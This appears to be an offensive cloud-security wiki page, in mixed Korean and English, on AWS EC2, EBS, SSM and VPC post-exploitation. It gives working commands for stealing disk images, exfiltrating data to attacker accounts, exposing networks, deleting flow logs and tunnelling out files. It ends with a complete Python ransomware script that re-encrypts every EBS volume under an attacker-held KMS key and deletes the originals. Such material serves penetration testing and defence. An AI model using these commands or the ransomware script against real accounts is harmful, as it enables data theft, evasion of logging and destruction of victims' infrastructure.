AWS - EC2, EBS, SSM & VPC Post Exploitation

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EC2 & VPC

자세한 내용은 다음을 확인하세요:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC 트래픽 미러링은 인스턴스에 별도의 소프트웨어를 설치할 필요 없이 VPC 내의 EC2 인스턴스에 대한 들어오고 나가는 트래픽을 복제합니다. 이 복제된 트래픽은 보통 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS) 같은 곳으로 전송됩니다.
공격자는 이를 악용해 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다:

자세한 내용은 다음 페이지를 확인하세요:

AWS - Malicious VPC Mirror

Copy Running Instance

인스턴스에는 일반적으로 어떤 형태로든 민감한 정보가 포함되어 있습니다. There are different ways to get inside (check EC2 privilege escalation tricks). 그러나, 인스턴스의 내용을 확인하는 또 다른 방법은 AMI를 생성하고 해당 AMI로부터 새 인스턴스(심지어 자신의 계정에서도)를 실행하는 것입니다:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots are backups of volumes, 일반적으로 민감한 정보를 포함할 가능성이 높으므로 이를 확인하면 해당 정보가 드러날 수 있습니다.
만약 volume without a snapshot을 발견하면, Create a snapshot을 생성하고 아래 동작을 수행하거나 계정 내 인스턴스에 단순히 mount it in an instance 하십시오:

AWS - EBS Snapshot Dump

Covert Disk Exfiltration via AMI Store-to-S3

EC2 AMI를 CreateStoreImageTask를 사용해 바로 S3로 export하면 스냅샷 공유 없이 raw 디스크 이미지를 획득할 수 있습니다. 이는 인스턴스 네트워킹을 건드리지 않으면서 완전한 오프라인 포렌식이나 데이터 도용을 가능하게 합니다.

AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Live Data Theft via EBS Multi-Attach

io1/io2 Multi-Attach volume을 두 번째 인스턴스에 연결하고 읽기 전용으로 마운트하여 스냅샷 없이 실시간 데이터를 유출할 수 있습니다. 피해자 volume이 이미 같은 AZ 내에서 Multi-Attach가 활성화되어 있을 때 유용합니다.

AWS - Live Data Theft via EBS Multi-Attach

EC2 Instance Connect Endpoint Backdoor

EC2 Instance Connect Endpoint를 생성하고 ingress를 허용한 뒤, 일시적인 SSH 키를 주입하여 관리형 터널을 통해 private 인스턴스에 접근할 수 있습니다. 공용 포트를 열지 않고도 빠른 lateral movement 경로를 제공합니다.

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

EC2 ENI Secondary Private IP Hijack

피해자 ENI의 secondary private IP를 공격자 제어 ENI로 옮겨 IP로 allowlisted된 신뢰된 호스트를 가장할 수 있습니다. 특정 주소에 기반한 내부 ACL 또는 SG 규칙을 우회할 수 있게 합니다.

AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)

Elastic IP Hijack for Ingress/Egress Impersonation

피해자 인스턴스의 Elastic IP를 공격자로 재연결하여 인바운드 트래픽을 가로채거나 신뢰된 공인 IP에서 나온 것처럼 보이는 아웃바운드 연결을 생성할 수 있습니다.

AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Security Group Backdoor via Managed Prefix Lists

Security group 규칙이 customer-managed prefix list를 참조하는 경우, 공격자 CIDR을 해당 리스트에 추가하면 SG 자체를 수정하지 않고도 모든 종속 SG 규칙에 대한 접근 권한이 조용히 확장됩니다.

AWS - Security Group Backdoor via Managed Prefix Lists

VPC Endpoint Egress Bypass

gateway 또는 interface VPC endpoints를 생성하여 격리된 서브넷에서 아웃바운드 접근을 복구할 수 있습니다. AWS-managed private links를 활용하면 데이터 유출을 위해 누락된 IGW/NAT 제어를 우회할 수 있습니다.

AWS – Egress Bypass from Isolated Subnets via VPC Endpoints

ec2:AuthorizeSecurityGroupIngress

ec2:AuthorizeSecurityGroupIngress 권한을 가진 공격자는 security groups에 인바운드 규칙을 추가할 수 있으며(예: tcp:80을 0.0.0.0/0에서 허용), 이로 인해 내부 서비스가 공용 Internet이나 기타 허가되지 않은 네트워크에 노출될 수 있습니다.

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0

ec2:ReplaceNetworkAclEntry

ec2:ReplaceNetworkAclEntry (또는 유사 권한)을 가진 공격자는 subnet의 Network ACLs (NACLs)을 수정해 매우 관대하게 만들 수 있습니다 — 예를 들어 중요한 포트에 0.0.0.0/0을 허용하여 — 서브넷 전체 범위를 Internet 또는 권한 없는 네트워크 세그먼트에 노출시킬 수 있습니다.
인스턴스별로 적용되는 Security Groups와 달리, NACLs는 서브넷 수준에서 적용되므로 제한적인 NACL을 변경하면 훨씬 더 많은 호스트에 대한 접근을 허용해 큰 영향 범위를 초래할 수 있습니다.

aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0

ec2:Delete*

ec2:Delete* 및 iam:Remove* 권한을 가진 공격자는 key pairs, launch templates/versions, AMIs/snapshots, volumes 또는 attachments, security groups 또는 rules, ENIs/network endpoints, route tables, gateways, managed endpoints 등 중요한 인프라 리소스 및 구성들을 삭제할 수 있습니다. 이는 즉각적인 서비스 중단, 데이터 손실 및 포렌식 증거 손실을 초래할 수 있습니다.

One example is deleting a security group:

aws ec2 delete-security-group
--group-id <SECURITY_GROUP_ID>

VPC Flow Logs Cross-Account Exfiltration

VPC Flow Logs를 공격자가 제어하는 S3 버킷으로 지정하면 대상 계정 외부에 네트워크 메타데이터(출발지/목적지, 포트)를 장기간 지속적으로 수집하여 정찰할 수 있습니다.

AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Data Exfiltration

DNS Exfiltration

EC2에서 외부로 나가는 트래픽을 차단해도, 여전히 exfil via DNS가 발생할 수 있습니다.

• VPC Flow Logs will not record this.
• AWS DNS 로그에는 접근할 수 없습니다.
• 다음 명령으로 "enableDnsSupport"를 false로 설정하여 이를 비활성화하세요:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.

보안 그룹 개방

다음과 같이 포트를 열면 네트워크 서비스에 더 접근할 수 있습니다:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

EC2 인스턴스를 실행하고 ECS 인스턴스 실행에 사용되도록 등록한 다음 ECS 인스턴스의 데이터를 탈취할 수 있습니다.

자세한 내용은 여기를 확인하세요.

VPC flow logs 제거

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM 포트 포워딩

필요 권한:

• ssm:StartSession

명령 실행 외에도, SSM은 트래픽 터널링을 허용하여 Security Groups 또는 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 pivot하는 데 악용될 수 있습니다. 이것이 유용한 시나리오 중 하나는 Bastion Host에서 프라이빗 EKS 클러스터로 pivot하는 경우입니다.

세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

1. 로컬 머신에 SessionManagerPlugin을 설치합니다
2. 다음 명령어를 사용해 Bastion EC2에 로그인합니다:

aws ssm start-session --target "$INSTANCE_ID"

3. Abusing SSRF in AWS EC2 environment 스크립트를 사용하여 Bastion EC2의 AWS 임시 자격 증명을 얻습니다
4. 자격 증명을 자신의 머신의 $HOME/.aws/credentials 파일에 [bastion-ec2] 프로파일로 옮깁니다
5. Bastion EC2로 EKS에 로그인:

aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>

6. $HOME/.kube/config 파일의 server 필드를 https://localhost를 가리키도록 업데이트합니다.
7. 다음과 같이 SSM 터널을 생성합니다:

sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>

8. kubectl 도구의 트래픽은 이제 Bastion EC2를 통해 SSM 터널로 전달되며, 다음을 실행하면 자신의 머신에서 비공개 EKS 클러스터에 접근할 수 있습니다:

kubectl get pods --insecure-skip-tls-verify

Note that the SSL connections will fail unless you set the --insecure-skip-tls-verify flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.

마지막으로, 이 기법은 private EKS clusters를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정해 다른 AWS 서비스나 커스텀 애플리케이션으로 피벗할 수 있습니다.

Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)

만약 one TCP port from the EC2 instance to your local host만 전달하면, AWS-StartPortForwardingSession SSM 문서를 사용할 수 있습니다(원격 호스트 파라미터 불필요):

aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>

이 명령은 워크스테이션(localPortNumber)과 인스턴스의 선택한 포트(portNumber) 간에 without opening any inbound Security-Group rules 상태로 양방향 터널을 설정합니다.

Common use cases:

• File exfiltration

1. 인스턴스에서 exfiltrate하려는 디렉터리를 가리키는 간단한 HTTP 서버를 시작합니다:

python3 -m http.server 8000

2. 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다:

curl http://localhost:8000/loot.txt -o loot.txt

• 내부 웹 애플리케이션 접근(예: Nessus)

# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835

팁: exfiltrating하기 전에 증거를 Compress하고 encrypt하여 CloudTrail이 clear-text content를 기록하지 않도록 하세요:

# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'

AMI 공유

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

공개 및 비공개 AMIs에서 민감한 정보 검색

• https://github.com/saw-your-packet/CloudShovel: CloudShovel은 공개 또는 비공개 Amazon Machine Images (AMIs) 내의 민감한 정보를 검색하도록 설계된 도구입니다. 대상 AMIs로부터 인스턴스를 실행하고, 그 볼륨을 마운트하며, 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다.

EBS Snapshot 공유

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

S3 post-exploitation notes에 시연된 Ransomware 데모와 유사한 PoC입니다. KMS는 다양한 AWS 서비스를 쉽게 암호화할 수 있으므로 Ransomware Management Service(RMS)로 이름을 바꿔야 합니다.

먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 했지만, 현실적인 시나리오에서는 악의적인 행위자가 키 데이터를 AWS의 제어 밖에 보관할 것입니다. key policy를 변경하여 모든 AWS 계정 Principal이 키를 사용하도록 허용하세요. 이 key policy에서 계정의 이름은 'AttackSim'이었고, 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 불립니다.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용할 수 있도록 다음을 활성화해야 합니다:

• kms:CreateGrant
• kms:Decrypt
• kms:DescribeKey
• kms:GenerateDataKeyWithoutPlainText
• kms:ReEncrypt

이제 사용할 수 있는 공개적으로 접근 가능한 키가 있으므로, 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스들이 실행 중인 'victim' 계정을 사용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨이 우리가 암호화 대상으로 삼는 것입니다. 이 공격은 고권한 AWS 계정의 침해가 가정된 상황에서 수행됩니다.

S3 ransomware 예와 유사합니다. 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 만들고, 'attacker' 계정의 공개 키를 사용해 새 EBS 볼륨을 암호화한 다음 원래의 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다.

그 결과 해당 계정에는 암호화된 EBS 볼륨만 남게 됩니다.

또한 주목할 점은, 스크립트가 원래 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지시켰다는 것입니다. 원래의 암호화되지 않은 볼륨들은 이제 사라졌습니다.

다음으로 'attacker' 계정의 key policy로 돌아가 'Outside Encryption' 정책 규칙을 key policy에서 제거합니다.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

새로 설정한 키 정책(key policy)이 전파될 때까지 잠시 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보세요. 볼륨을 연결할 수 있음을 확인할 수 있습니다.

그러나 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려 하면 실패하고 'pending' 상태에서 'stopped' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨을 더 이상 키로 복호화할 수 없고, 키 정책이 이를 허용하지 않기 때문입니다.

다음은 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정용 AWS creds와 암호화에 사용할 키의 공개적으로 사용 가능한 AWS ARN 값을 입력으로 받습니다. 스크립트는 타깃 AWS 계정의 모든 EC2 인스턴스에 연결된 ALL 사용 가능한 EBS 볼륨의 암호화된 복사본을 생성한 다음, 모든 EC2 인스턴스를 중지하고 원본 EBS 볼륨을 분리한 후 삭제하고, 마지막으로 과정에서 사용된 모든 snapshots를 삭제합니다. 이렇게 하면 타깃 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요. 파괴적이며 모든 원본 EBS 볼륨을 삭제합니다. 사용된 KMS key를 이용하고 snapshots를 통해 원래 상태로 복구할 수 있지만, 결국 이는 ransomware PoC라는 점을 알려드립니다.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

참고 자료

• Pentest Partners – AWS에서 SSM을 사용해 파일을 전송하는 방법